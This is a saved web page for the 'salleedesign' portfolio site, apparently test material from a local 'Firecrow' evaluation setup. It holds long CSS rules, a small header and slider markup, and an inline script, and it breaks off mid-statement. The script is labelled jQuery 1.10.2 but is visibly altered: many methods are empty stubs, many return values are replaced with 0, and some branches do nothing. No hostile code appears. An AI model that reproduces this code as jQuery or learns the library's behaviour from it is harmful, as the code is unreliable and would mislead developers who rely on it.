63px; display: block; height: 31px; margin-top: 2px; float: left; padding: 0px 0px 0px 3px; border-radius: 5px; border: 1px solid rgba(0, 0, 0, 0.51); box-shadow: 0px 1px 0px rgba(255, 255, 255, 0.05), 0px 1px 0px rgba(255, 255, 255, 0.12) inset; background: none repeat scroll 0% 0% rgb(47, 47, 47); } #mustache_picker.initialized { transition: all 500ms cubic-bezier(0.91, -0.335, 0.23, 1.005) 0.5s; } #mustache_picker div { position: relative; z-index: 100; transition: opacity 0.5s ease 0.8s; } #mustache_picker ul { opacity: 0; max-height: 31px; overflow: hidden; position: absolute; } #mustache_picker.expandme { transition: width 500ms cubic-bezier(0.215, 0.005, 0.085, 1.36) 0.5s; width: 311px; } #mustache_picker li { float: left; } #mustache_picker a { float: left; display: block; background: url('images/header_assets_new.png'); width: 31px; height: 31px; } #mustache_picker a.m_1 { background-position: -24px -68px; } #mustache_picker a.m_2 { background-position: -74px -68px; } #mustache_picker a.m_3 { background-position: -124px -68px; } #mustache_picker a.m_4 { background-position: -174px -68px; } #mustache_picker a.m_5 { background-position: -224px -68px; } #mustache_picker a.m_6 { background-position: -274px -68px; } #mustache_picker a.m_7 { background-position: -324px -68px; } #mustache_picker a.m_8 { background-position: -374px -68px; } #mustache_picker a.m_9 { background-position: -424px -68px; } #mustache_picker a.m_1:hover, #mustache_picker a.m_1.selected { background-position: -24px -98px; } #mustache_picker a.m_2:hover, #mustache_picker a.m_2.selected { background-position: -74px -98px; } #mustache_picker a.m_3:hover, #mustache_picker a.m_3.selected { background-position: -124px -98px; } #mustache_picker a.m_4:hover, #mustache_picker a.m_4.selected { background-position: -174px -98px; } #mustache_picker a.m_5:hover, #mustache_picker a.m_5.selected { background-position: -224px -98px; } #mustache_picker a.m_6:hover, #mustache_picker a.m_6.selected { background-position: -274px -98px; } #mustache_picker a.m_7:hover, #mustache_picker a.m_7.selected { background-position: -324px -98px; } #mustache_picker a.m_8:hover, #mustache_picker a.m_8.selected { background-position: -374px -98px; } #mustache_picker a.m_9:hover, #mustache_picker a.m_9.selected { background-position: -424px -98px; } #mustache_picker #selected_tache.m_1, #mustache_picker #selected_tache.m_1:hover { background-position: -22px -68px; margin-left: -3px; padding-left: 3px; transition: all 0.1s ease-in 0s; } #mustache_picker .collapse_arrow { background-position: -463px -66px; width: 31px; height: 31px; padding: 0px; border-left: 1px solid rgba(0, 0, 0, 0.4); box-shadow: 1px 0px 0px rgba(255, 255, 255, 0.03) inset; transition: all 0.1s ease-in 0s; } #mustache_picker .expand_arrow { background-position: -494px -66px; width: 31px; height: 31px; border-left: 1px solid rgba(0, 0, 0, 0.4); box-shadow: 1px 0px 0px rgba(255, 255, 255, 0.03) inset; } #mustache_picker .collapse_arrow:hover, #mustache_picker .expand_arrow:hover, #mustache_picker #selected_tache.m_1:hover { background-color: rgba(0, 0, 0, 0.2); } #mustache_picker .collapse_arrow:active, #mustache_picker .expand_arrow:active, #mustache_picker #selected_tache.m_1:active { box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.7) inset; } #branding .logo_icon { width: 90px; margin: 3px auto 0px; position: relative; z-index: 4; height: 66px; background: none repeat scroll 0% 0% transparent; box-shadow: 1px 0px 0px transparent inset, -1px 0px 0px transparent inset, 1px 0px 0px rgba(255, 255, 255, 0), -1px 0px 0px rgba(255, 255, 255, 0); transition: background 0.2s ease-out 0s; } #branding .logo_icon:hover { background: none repeat scroll 0% 0% rgba(0, 0, 0, 0.05); box-shadow: 1px 0px 0px rgba(0, 0, 0, 0.16) inset, -1px 0px 0px rgba(0, 0, 0, 0.16) inset, 1px 0px 0px rgba(255, 255, 255, 0.02), -1px 0px 0px rgba(255, 255, 255, 0.02); } #branding .logo_icon:active { background: none repeat scroll 0% 0% rgba(0, 0, 0, 0.2); box-shadow: 1px 0px 1px rgba(0, 0, 0, 0.31) inset, -1px 0px 1px rgba(0, 0, 0, 0.31) inset, 1px 0px 0px rgba(255, 255, 255, 0.02), -1px 0px 0px rgba(255, 255, 255, 0.02); } #mustache_on_logo { display: block; background: url("http://localhost/Firecrow/evaluation/fullPages/02-salleedesign/images/header_assets_new.png") repeat scroll -10px -45px transparent; width: 90px; height: 30px; position: absolute; margin-top: 35px; transition: background-position 0.3s ease 0s; } #mustache_on_logo.m_1 { background-position: 5px -43px; } #mustache_on_logo.m_2 { background-position: -95px -43px; } #mustache_on_logo.m_3 { background-position: -195px -43px; } #mustache_on_logo.m_4 { background-position: -295px -43px; } #main_nav { float: right; margin-top: 0px; position: relative; z-index: 3; margin-right: 5px; width: 250px; } #main_nav li { float: left; } #main_nav ul li a.icons, #main_nav ul li a.iconsho { width: 48px; height: 70px; display: block; padding: 0px; background: url("http://localhost/Firecrow/evaluation/fullPages/02-salleedesign/images/header_assets_new.png") no-repeat scroll 0% 0% transparent; } #main_nav ul li a.iconsho { position: absolute; top: 0px; opacity: 0; transition: opacity 0.8s ease 0s; } #main_nav ul li:hover a.iconsho { opacity: 1; } #main_nav ul li:hover a.iconsho.selected { opacity: 0.3; } #main_nav ul li a.icons.home { background-position: -15px -119px; } #main_nav ul li a.icons.portfolio { background-position: -65px -119px; } #main_nav ul li a.icons.resources { background-position: -115px -119px; } #main_nav ul li a.icons.photoblog { background-position: -165px -119px; } #main_nav ul li a.icons.about { background-position: -215px -119px; } #main_nav ul li a.icons.home.selected { background-position: -15px -219px; } #main_nav ul li a.iconsho.home { background-position: -15px -169px; } #main_nav ul li a.iconsho.portfolio { background-position: -65px -169px; } #main_nav ul li a.iconsho.resources { background-position: -115px -169px; } #main_nav ul li a.iconsho.photoblog { background-position: -165px -169px; } #main_nav ul li a.iconsho.about { background-position: -215px -169px; } #main_nav ul li a.tooltips { position: absolute; font-size: 10px; color: rgb(255, 255, 255); background: none repeat scroll 0% 0% rgba(30, 30, 30, 0.93); padding: 3px 8px; text-align: center; border-radius: 4px; margin-top: -14px; opacity: 0; text-decoration: none; transition: all 0.3s ease-in 0s; } #main_nav ul li a.tooltips.home { margin-left: 4px; } #main_nav ul li a.tooltips.portfolio { margin-left: -5px; } #main_nav ul li a.tooltips.resources { margin-left: -7px; } #main_nav ul li a.tooltips.photoblog { margin-left: 3px; } #main_nav ul li a.tooltips.about { margin-left: 7px; } #main_nav ul li:hover a.tooltips { opacity: 1; } .footer_wrapp { background: none repeat scroll 0% 0% rgb(40, 41, 46); position: relative; z-index: 0; } footer a, #details a { color: rgb(50, 150, 253); text-decoration: none; } footer a:hover, #details a:hover { color: rgb(141, 164, 249); } #details { background: none repeat scroll 0% 0% rgba(0, 0, 0, 0.15); margin-top: 33px; padding: 25px 0px 10px; border-top: 1px solid rgba(255, 255, 255, 0.05); box-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25) inset; font-size: 12px; } #details .backtop { text-align: right; } #details .backtop a { padding: 5px 20px; color: rgb(255, 255, 255); background: none repeat scroll 0% 0% rgb(58, 91, 216); border-radius: 5px; box-shadow: 0px 0px 0px 1px rgba(0, 0, 0, 0.5), 0px 2px 0px rgba(255, 255, 255, 0.05), 0px 1px 0px rgba(255, 255, 255, 0.26) inset, 0px -9px 9px rgb(40, 63, 198) inset; } </style> <style href="style/style.css" rel="stylesheet"> html { overflow-x: hidden; } .home_nav .grid_12 { text-align: center; position: absolute; z-index: 50; margin-top: -57px; transition: opacity 0.2s ease 0s; } .home_nav button { border: medium none; transition: background-position 0.2s ease 0s; } .home_nav .sides { width: 11px; height: 17px; background: url("http://localhost/Firecrow/evaluation/fullPages/02-salleedesign/images/navigation_assets.png") repeat scroll -17px 0px transparent; margin-right: 10px; } .home_nav .right { margin-right: 0px; margin-left: 10px; background-position: -28px 0px; } .home_nav .left:hover { background-position: -17px -17px; } .home_nav .right:hover { background-position: -28px -17px; } .home_nav .direct { width: 14px; height: 17px; background: url("http://localhost/Firecrow/evaluation/fullPages/02-salleedesign/images/navigation_assets.png") repeat scroll 0px 0px transparent; } .home_nav .direct:hover, .home_nav .selected { background-position: 0px -16px; } #home_slider { margin-left: 0px; height: 616px; position: relative; transition: margin 1s ease 0s; width: 50000px; background: none repeat scroll 0% 0% rgb(250, 250, 250); } .webmadeclean, .imake, .welcome, .menuslide, .myphotoblog { height: 616px; width: 2000px; overflow: hidden; float: left; z-index: 1; background: url("http://localhost/Firecrow/evaluation/fullPages/02-salleedesign/images/bg_white.png") repeat scroll 0% 0% rgb(236, 236, 238); } .welcome { background: url("http://localhost/Firecrow/evaluation/fullPages/02-salleedesign/images/sep_bg.png") repeat scroll 0% 0%, url("http://localhost/Firecrow/evaluation/fullPages/02-salleedesign/images/bg_blue.png") repeat-x scroll 0% 0% transparent; } .menuslide { padding-top: 12px; height: 604px; } </style> </head> <body id="top"> <header role="banner" id="branding"> <nav class="logo_text"> <h1><a href="http://salleedesign.com">sallee<span>design</span></a></h1> <div id="mustache_picker"> <div> <a class="m_1" id="selected_tache" href=""></a> <a class="expand_arrow" href="#"></a> </div> <ul> <li><a class="m_1 selected" href="#"></a></li> <li><a class="m_2" href="#"></a></li> <li><a class="m_3" href="#"></a></li> <li><a class="m_4" href="#"></a></li> <li><a class="m_5" href="#"></a></li> <li><a class="m_6" href="#"></a></li> <li><a class="m_7" href="#"></a></li> <li><a class="m_8" href="#"></a></li> <li><a class="m_9" href="#"></a></li> <li class="last"><a class="collapse_arrow" href="#"></a></li> </ul> </div> </nav> <nav id="main_nav"> <ul> <li> <a class="icons home" href="http://salleedesign.com/home/"></a> <a class="iconsho home" href="http://salleedesign.com/home/"></a> <a class="tooltips home" href="http://salleedesign.com/home/">home<p></p> </a></li><a class="tooltips home" href="http://salleedesign.com/home/"> </a><li><a class="tooltips home" href="http://salleedesign.com/home/"> </a><a class="icons portfolio" href="http://salleedesign.com/portfolio/"></a> <a class="iconsho portfolio" href="http://salleedesign.com/portfolio/"></a> <a class="tooltips portfolio" href="http://salleedesign.com/portfolio/">portfolio</a> </li> <li> <a class="icons resources" href="http://salleedesign.com/resources/"></a> <a class="iconsho resources" href="http://salleedesign.com/resources/"></a> <a class="tooltips resources" href="http://salleedesign.com/resources/">resources</a> </li> <li> <a class="icons photoblog" href="http://salleedesign.com/photoblog/"></a> <a class="iconsho photoblog" href="http://salleedesign.com/photoblog/"></a> <a class="tooltips photoblog" href="http://salleedesign.com/photoblog/">photos</a> </li> <li> <a class="icons about" href="http://salleedesign.com/about/"></a> <a class="iconsho about" href="http://salleedesign.com/about/"></a> <a class="tooltips about" href="http://salleedesign.com/about/">about</a> </li> </ul> </nav> <nav class="logo_icon"> <a class="m_1" id="mustache_on_logo" href="http://salleedesign.com"></a> </nav> </header> <div id="home_slider"> <section class="welcome"> </section> <section class="webmadeclean"> </section> <section class="imake"> </section> <section class="myphotoblog"> </section> <section class="menuslide"> </section> </div> <div class="container_12 home_nav"> <nav class="grid_12"> <button class="left sides"></button> <button class="slider_one direct selected"></button> <button class="slider_two direct"></button> <button class="slider_three direct"></button> <button class="slider_four direct"></button> <button class="slider_five direct"></button> <button class="right sides"></button> </nav> </div> <div class="footer_wrapp"> <div id="details"> <div class="container_12"> <p class="grid_2 backtop"><a class="scroller" href="#top">back to top!</a></p> </div> </div> </div> <script> +((function(window, undefined) { var readyList, rootjQuery, core_strundefined = typeof undefined, document = window.document, class2type = {}, core_deletedIds = [], core_version = '1.10.2', core_concat = core_deletedIds.concat, core_push = core_deletedIds.push, core_slice = core_deletedIds.slice, core_toString = class2type.toString, core_hasOwn = class2type.hasOwnProperty, core_trim = core_version.trim, jQuery = function(selector, context) { return new jQuery.fn.init(selector, context, rootjQuery); }, core_pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source, core_rnotwhite = /\S+/g, rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/, rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>|)$/, rmsPrefix = /^-ms-/, rdashAlpha = /-([\da-z])/gi, fcamelCase = function(all, letter){}, completed = function(event) { if(document.addEventListener) { jQuery.ready(); } }; jQuery.fn = jQuery.prototype = { constructor: jQuery, init: function(selector, context, rootjQuery) { var match, elem; if(!selector) { return this; } if(typeof selector === 'string') { if(selector.charAt(0) === '<' && selector.charAt(selector.length - 1) === '>' && selector.length >= 3) { match = [null, selector, null]; } else { match = rquickExpr.exec(selector); } if(match && (match[1] || !context)) { if(match[1]) { context = context instanceof jQuery ? 0 : context; jQuery.merge(this, jQuery.parseHTML(match[1], context ? 0 : document, true)); return this; } else { elem = document.getElementById(match[2]); if(elem && elem.parentNode) { this.length = 1; this[0] = elem; } return this; } } else if(!context) { return (context || rootjQuery).find(selector); } } else if(selector.nodeType) { this[0] = selector; this.length = 1; return this; } else if(jQuery.isFunction(selector)) { return rootjQuery.ready(selector); } return jQuery.makeArray(selector, this); }, length: 0, toArray: function() { return core_slice.call(this); }, get: function(num) { return num == null ? this.toArray() : 0; }, pushStack: function(elems) { var ret = jQuery.merge(this.constructor(), elems); return ret; }, each: function(callback, args) { return jQuery.each(this, callback, args); }, ready: function(fn) { jQuery.ready.promise().done(fn); return this; } }; jQuery.fn.init.prototype = jQuery.fn; jQuery.extend = jQuery.fn.extend = function() { var src, copyIsArray, copy, name, options, clone, target = arguments[0], i = 1, length = arguments.length, deep = false; if(typeof target === 'boolean') { deep = target; target = arguments[1]; i = 2; } if(length === i) { target = this; --i; } for(;i < length;i++) { if((options = arguments[i]) != null) { for(name in options) { src = target[name]; copy = options[name]; if(deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) { if(copyIsArray); else { clone = src && jQuery.isPlainObject(src) ? src : 0; } jQuery.extend(deep, clone, copy); } else if(copy !== undefined) { target[name] = copy; } } } } return target; }; jQuery.extend({ expando: 'jQuery' + (core_version + Math.random()).replace(/\D/g, ''), noConflict: function(deep){}, isReady: false, readyWait: 1, holdReady: function(hold){}, ready: function(wait) { readyList.resolveWith(document, [jQuery]); if(jQuery.fn.trigger) { jQuery(document); } }, isFunction: function(obj) { return jQuery.type(obj) === 'function'; }, isArray: Array.isArray || function(obj) { return jQuery.type(obj) === 'array'; }, isWindow: function(obj) { return obj != null && obj == obj.window; }, isNumeric: function(obj) { return !(isNaN(parseFloat(obj))) && isFinite(obj); }, type: function(obj) { return typeof obj === 'object' || typeof obj === 'function' ? class2type[core_toString.call(obj)] || 'object' : typeof obj; }, isPlainObject: function(obj) { var key; if(!obj || jQuery.type(obj) !== 'object' || obj.nodeType || jQuery.isWindow(obj)) { return false; } for(key in obj) ; return key === undefined || core_hasOwn.call(obj, key); }, isEmptyObject: function(obj){}, error: function(msg){}, parseHTML: function(data, context, keepScripts) { context = context; var parsed = rsingleTag.exec(data); if(parsed) { return [context.createElement(parsed[1])]; } }, parseJSON: function(data){}, parseXML: function(data){}, noop: function(){}, globalEval: function(data){}, camelCase: function(string) { return string.replace(rmsPrefix, 'ms-').replace(rdashAlpha, fcamelCase); }, nodeName: function(elem, name) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }, each: function(obj, callback, args) { var i = 0, length = obj.length, isArray = isArraylike(obj); if(args); else { if(isArray) { for(;i < length;i++) { callback.call(obj[i], i, obj[i]); } } else { for(i in obj) { callback.call(obj[i], i, obj[i]); } } } return obj; }, trim: core_trim && !(core_trim.call(' ')) ? 0 : function(text) { return text == null ? 0 : (text + '').replace(rtrim, ''); }, makeArray: function(arr, results) { var ret = results; if(arr != null) { if(isArraylike(Object(arr))); else { core_push.call(ret, arr); } } return ret; }, inArray: function(elem, arr, i){}, merge: function(first, second) { var l = second.length, i = first.length, j = 0; if(typeof l === 'number') { for(;j < l;j++) { first[i++] = second[j]; } } first.length = i; return first; }, grep: function(elems, callback, inv){}, map: function(elems, callback, arg){}, guid: 1, proxy: function(fn, context){}, access: function(elems, fn, key, value, chainable, emptyGet, raw) { var i = 0, length = elems.length, bulk = key == null; if(jQuery.type(key) === 'object') { chainable = true; for(i in key) { jQuery.access(elems, fn, i, key[i], true, emptyGet, raw); } } else if(value !== undefined) { chainable = true; if(!(jQuery.isFunction(value))) { raw = true; } if(fn) { for(;i < length;i++) { fn(elems[i], key, raw ? value : 0); } } } return chainable ? elems : bulk ? 0 : length ? fn(elems[0], key) : 0; }, now: function(){}, swap: function(elem, options, callback, args) { var ret, name, old = {}; for(name in options) { old[name] = elem.style[name]; elem.style[name] = options[name]; } ret = callback.apply(elem, args || []); for(name in options) { elem.style[name] = old[name]; } return ret; } }); jQuery.ready.promise = function(obj) { if(!readyList) { readyList = jQuery.Deferred(); if(document.readyState === 'complete'); else if(document.addEventListener) { document.addEventListener('DOMContentLoaded', completed, false); } } return readyList.promise(obj); }; jQuery.each(('Boolean Number String Function Array Date RegExp Object Error').split(' '), function(i, name) { class2type[('[object ' + name) + ']'] = name.toLowerCase(); }); function isArraylike(obj) { var length = obj.length, type = jQuery.type(obj); if(jQuery.isWindow(obj)) { return false; } return type === 'array' || (type !== 'function' && (length === 0 || (typeof length === 'number' && length > 0 && (length - 1) in obj))); } rootjQuery = jQuery(document); (function(window, undefined) { var support, Expr, isXML, setDocument, document, docElem, documentIsHTML, rbuggyQSA, contains, expando = 'sizzle' + -(new Date()), preferredDoc = window.document, arr = [], push = arr.push, booleans = 'checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped', matchExpr = { 'bool': new RegExp(('^(?:' + booleans) + ')$', 'i') }, rnative = /^[^{]+\{\s*\[native \w/, rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/; function Sizzle(selector, context, results, seed) { var match, m, nodeType, newContext, newSelector; context = context; results = results; if((nodeType = context.nodeType) !== 1 && nodeType !== 9); if(documentIsHTML && !seed) { if(match = rquickExpr.exec(selector)) { if(m = match[1]); else if(match[2]) { push.apply(results, context.getElementsByTagName(selector)); return results; } else if((m = match[3]) && support.getElementsByClassName && context.getElementsByClassName) { push.apply(results, context.getElementsByClassName(m)); return results; } } if(support.qsa && !rbuggyQSA) { newContext = context; newSelector = nodeType === 9 && selector; if(newSelector) { try { push.apply(results, newContext.querySelectorAll(newSelector)); return results; } catch(qsaError){} } } } } function assert(fn) { var div = document.createElement('div'); try { return !(!(fn(div))); } catch(e){} } isXML = Sizzle.isXML = function(elem) { var documentElement = elem && (elem.ownerDocument || elem).documentElement; return documentElement ? documentElement.nodeName !== 'HTML' : 0; }; support = Sizzle.support = {}; setDocument = Sizzle.setDocument = function(node) { var doc = node ? 0 : preferredDoc; document = doc; docElem = doc.documentElement; documentIsHTML = !(isXML(doc)); support.attributes = assert(function(div) { div.className = 'i'; return !(div.getAttribute('className')); }); support.getElementsByClassName = assert(function(div) { div.innerHTML = '<div class=\'a\'></div><div class=\'a i\'></div>'; div.firstChild.className = 'i'; return div.getElementsByClassName('i').length === 2; }); assert(function(div) { docElem.appendChild(div).id = expando; return !(doc.getElementsByName) || !(doc.getElementsByName(expando).length); }); rbuggyQSA = []; if(support.qsa = rnative.test(doc.querySelectorAll)); rbuggyQSA = rbuggyQSA.length; contains = rnative.test(docElem.contains) ? function(a, b) { var adown = a.nodeType === 9 ? 0 : a, bup = b && b.parentNode; return a === bup || !(!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : 0))); } : 0; return doc; }; Sizzle.contains = function(context, elem) { return contains(context, elem); }; Sizzle.attr = function(elem, name) { var fn = Expr.attrHandle[name.toLowerCase()], val = fn ? 0 : undefined; return val === undefined ? support.attributes ? elem.getAttribute(name) : 0 : 0; }; Expr = Sizzle.selectors = { match: matchExpr, attrHandle: {} }; setDocument(); jQuery.find = Sizzle; jQuery.expr = Sizzle.selectors; jQuery.isXMLDoc = Sizzle.isXML; jQuery.contains = Sizzle.contains; })(window); var optionsCache = {}; function createOptions(options) { var object = optionsCache[options] = {}; return object; } jQuery.Callbacks = function(options) { options = typeof options === 'string' ? optionsCache[options] || createOptions(options) : 0; var firing, fired, firingLength, firingIndex, firingStart, list = [], fire = function(data) { firingIndex = firingStart || 0; firingLength = list.length; for(;list && firingIndex < firingLength;firingIndex++) { if(list[firingIndex].apply(data[0], data[1]) === false); } }, self = { add: function() { if(list) { (function add(args) { jQuery.each(args, function(_, arg) { var type = jQuery.type(arg); if(type === 'function') { if(!(options.unique)) { list.push(arg); } } }); })(arguments); } return this; }, disable: function() { return this; }, lock: function() { return this; }, fireWith: function(context, args) { if(list && !fired) { args = args; args = [context, args.slice ? args.slice() : 0]; if(firing); else { fire(args); } } return this; } }; return self; }; jQuery.extend({ Deferred: function(func) { var tuples = [['resolve', 'done', jQuery.Callbacks('once memory'), 'resolved'], ['reject', 'fail', jQuery.Callbacks('once memory'), 'rejected'], ['notify', 'progress', jQuery.Callbacks('memory')]], promise = { state: function(){}, always: function(){}, then: function(){}, promise: function(obj) { return obj != null ? jQuery.extend(obj, promise) : promise; } }, deferred = {}; promise.pipe = promise.then; jQuery.each(tuples, function(i, tuple) { var list = tuple[2], stateString = tuple[3]; promise[tuple[1]] = list.add; if(stateString) { list.add(function(){}, tuples[i ^ 1][2].disable, tuples[2][2].lock); } deferred[tuple[0] + 'With'] = list.fireWith; }); promise.promise(deferred); return deferred; }, when: function(subordinate){} }); (function(support) { for(i in jQuery(support)) { break; } jQuery(function() { var container, body = document.getElementsByTagName('body')[0]; container = document.createElement('div'); container.style.cssText = 'border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px'; body.appendChild(container); jQuery.swap(body, body.style.zoom != null ? {zoom: 1} : 0, function(){}); body.removeChild(container); }); return support; })({}); function internalData(elem, name, data, pvt) { var ret, thisCache, internalKey = jQuery.expando, isNode = elem.nodeType, cache = isNode ? jQuery.cache : 0, id = isNode ? elem[internalKey] : 0; if(!id) { if(isNode) { id = elem[internalKey] = core_deletedIds.pop() || jQuery.guid++; } } if(!(cache[id])) { cache[id] = isNode ? {} : 0; } thisCache = cache[id]; if(typeof name === 'string') { ret = thisCache[name]; } else { ret = thisCache; } return ret; } jQuery.extend({ cache: {}, noData: {}, hasData: function(elem){}, data: function(elem, name, data){}, removeData: function(elem, name){}, _data: function(elem, name, data) { return internalData(elem, name, data, true); }, _removeData: function(elem, name){}, acceptData: function(elem){} }); jQuery.fn.extend({ data: function(key, value){}, removeData: function(key){} }); jQuery.extend({ queue: function(elem, type, data){}, dequeue: function(elem, type){}, _queueHooks: function(elem, type){} }); jQuery.fn.extend({ queue: function(type, data){}, dequeue: function(type){}, delay: function(time, type){}, clearQueue: function(type){}, promise: function(type, obj){} }); var nodeHook, rclass = /[\t\r\n\f]/g; jQuery.fn.extend({ attr: function(name, value) { return jQuery.access(this, jQuery.attr, name, value, arguments.length > 1); }, removeAttr: function(name){}, prop: function(name, value){}, removeProp: function(name){}, addClass: function(value) { var classes, elem, cur, clazz, j, i = 0, len = this.length, proceed = typeof value === 'string' && value; if(proceed) { classes = (value).match(core_rnotwhite); for(;i < len;i++) { elem = this[i]; cur = elem.nodeType === 1 && (elem.className ? ((' ' + elem.className) + ' ').replace(rclass, ' ') : ' '); if(cur) { j = 0; while(clazz = classes[j++]) { if(cur.indexOf((' ' + clazz) + ' ') < 0) { cur += clazz + ' '; } } elem.className = jQuery.trim(cur); } } } return this; }, removeClass: function(value) { var classes, elem, cur, clazz, j, i = 0, len = this.length, proceed = arguments.length === 0 || (typeof value === 'string' && value); if(proceed) { classes = (value || '').match(core_rnotwhite) || []; for(;i < len;i++) { elem = this[i]; cur = elem.nodeType === 1 && (elem.className ? ((' ' + elem.className) + ' ').replace(rclass, ' ') : 0); if(cur) { j = 0; while(clazz = classes[j++]) { while(cur.indexOf((' ' + clazz) + ' ') >= 0) { cur = cur.replace((' ' + clazz) + ' ', ' '); } } elem.className = value ? jQuery.trim(cur) : ''; } } } return this; }, toggleClass: function(value, stateVal){}, hasClass: function(selector){}, val: function(value){} }); jQuery.extend({ valHooks: {}, attr: function(elem, name, value) { var hooks, ret, nType = elem.nodeType; if(nType !== 1 || !(jQuery.isXMLDoc(elem))) { name = name.toLowerCase(); hooks = jQuery.attrHooks[name] || (jQuery.expr.match.bool.test(name) ? 0 : nodeHook); } if(value !== undefined); else if(hooks); else { ret = jQuery.find.attr(elem, name); return ret == null ? 0 : ret; } }, removeAttr: function(elem, value){}, attrHooks: {}, propFix: {}, prop: function(elem, name, value){}, propHooks: {} }); var rmouseEvent = /^(?:mouse|contextmenu)|click/, rtypenamespace = /^([^.]*)(?:\.(.+)|)$/; function returnFalse() { return false; } jQuery.event = { add: function(elem, types, handler, data, selector) { var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, origType, elemData = jQuery._data(elem); if(!(handler.guid)) { handler.guid = jQuery.guid++; } if(!(events = elemData.events)) { events = elemData.events = {}; } if(!(eventHandle = elemData.handle)) { eventHandle = elemData.handle = function(e) { return typeof jQuery !== core_strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : 0; }; eventHandle.elem = elem; } types = (types).match(core_rnotwhite); t = types.length; while(t--) { tmp = rtypenamespace.exec(types[t]); type = origType = tmp[1]; special = jQuery.event.special[type] || {}; type = (selector ? 0 : special.bindType) || type; special = jQuery.event.special[type] || {}; handleObj = jQuery.extend({ origType: origType, handler: handler }, handleObjIn); if(!(handlers = events[type])) { handlers = events[type] = []; handlers.delegateCount = 0; if(!(special.setup)) { if(elem.addEventListener) { elem.addEventListener(type, eventHandle, false); } } } if(selector); else { handlers.push(handleObj); } } }, dispatch: function(event) { event = jQuery.event.fix(event); var i, ret, handleObj, matched, j, handlerQueue, args = core_slice.call(arguments), handlers = (jQuery._data(this, 'events'))[event.type]; args[0] = event; handlerQueue = jQuery.event.handlers.call(this, event, handlers); i = 0; while((matched = handlerQueue[i++]) && !(event.isPropagationStopped())) { j = 0; while((handleObj = matched.handlers[j++]) && !(event.isImmediatePropagationStopped())) { if(!(event.namespace_re)) { event.handleObj = handleObj; ret = ((jQuery.event.special[handleObj.origType]).handle || handleObj.handler).apply(matched.elem, args); if(ret !== undefined) { if((event.result = ret) === false) { event.preventDefault(); event.stopPropagation(); } } } } } return event.result; }, handlers: function(event, handlers) { var handlerQueue = [], delegateCount = handlers.delegateCount; if(delegateCount < handlers.length) { handlerQueue.push({ elem: this, handlers: handlers.slice(delegateCount) }); } return handlerQueue; }, fix: function(event) { var i, prop, copy, type = event.type, originalEvent = event, fixHook = this.fixHooks[type]; if(!fixHook) { this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : 0; } copy = fixHook.props ? this.props.concat(fixHook.props) : 0; event = new jQuery.Event(originalEvent); i = copy.length; while(i--) { prop = copy[i]; event[prop] = originalEvent[prop]; } return fixHook.filter ? fixHook.filter(event, originalEvent) : 0; }, props: ('altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which').split(' '), fixHooks: {}, mouseHooks: { props: ('button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement').split(' '), filter: function(event, original) { return event; } }, special: { click: {} } }; jQuery.Event = function(src, props) { if(src && src.type) { this.originalEvent = src; this.type = src.type; } }; jQuery.Event.prototype = { isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, preventDefault: function() { var e = this.originalEvent; if(e.preventDefault) { e.preventDefault(); } }, stopPropagation: function() { var e = this.originalEvent; if(e.stopPropagation) { e.stopPropagation(); } } }; jQuery.each({mouseenter: 'mouseover', mouseleave: 'mouseout'}, function(orig, fix) { jQuery.event.special[orig] = { bindType: fix, handle: function(event) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; if(!related || (related !== target && !(jQuery.contains(target, related)))) { ret = handleObj.handler.apply(this, arguments); } return ret; } }; }); jQuery.fn.extend({ on: function(types, selector, data, fn, one) { if(data == null); else if(fn == null) { if(typeof selector === 'string'); else { fn = data; data = selector; selector = undefined; } } return this.each(function() { jQuery.event.add(this, types, fn, data, selector); }); }, one: function(types, selector, data, fn){}, off: function(types, selector, fn){}, trigger: function(type, data){}, triggerHandler: function(type, data){} }); jQuery.fn.extend({ find: function(selector) { var i, ret = [], self = this, len = self.length; for(i = 0;i < len;i++) { jQuery.find(selector, self[i], ret); } ret = this.pushStack(len > 1 ? 0 : ret); return ret; }, has: function(target){}, not: function(selector){}, filter: function(selector){}, is: function(selector){}, closest: function(selectors, context){}, index: function(elem){}, add: function(selector, context){}, addBack: function(selector){} }); jQuery.extend({ filter: function(expr, elems, not){}, dir: function(elem, dir, until){}, sibling: function(n, elem){} }); function createSafeFragment(document) { var safeFrag = document.createDocumentFragment(); return safeFrag; } jQuery.fn.extend({ text: function(value){}, append: function() { return this.domManip(arguments, function(elem) { if(this.nodeType === 1) { var target = manipulationTarget(this, elem); target.appendChild(elem); } }); }, prepend: function(){}, before: function(){}, after: function(){}, remove: function(selector, keepData){}, empty: function(){}, clone: function(dataAndEvents, deepDataAndEvents){}, html: function(value){}, replaceWith: function(){}, detach: function(selector){}, domManip: function(args, callback, allowIntersection) { args = core_concat.apply([], args); var first, node, fragment, i = 0, l = this.length; if(l) { fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, !allowIntersection && this); first = fragment.firstChild; if(fragment.childNodes.length === 1) { fragment = first; } if(first) { for(;i < l;i++) { node = fragment; callback.call(this[i], node, i); } } } return this; } }); function manipulationTarget(elem, content) { return jQuery.nodeName(elem, 'table') ? 0 : elem; } jQuery.each({appendTo: 'append', replaceAll: 'replaceWith'}, function(name, original) { jQuery.fn[name] = function(selector) { var elems, i = 0, ret = [], insert = jQuery(selector), last = insert.length - 1; for(;i <= last;i++) { elems = i === last ? this : 0; jQuery(insert[i])[original](elems); core_push.apply(ret, 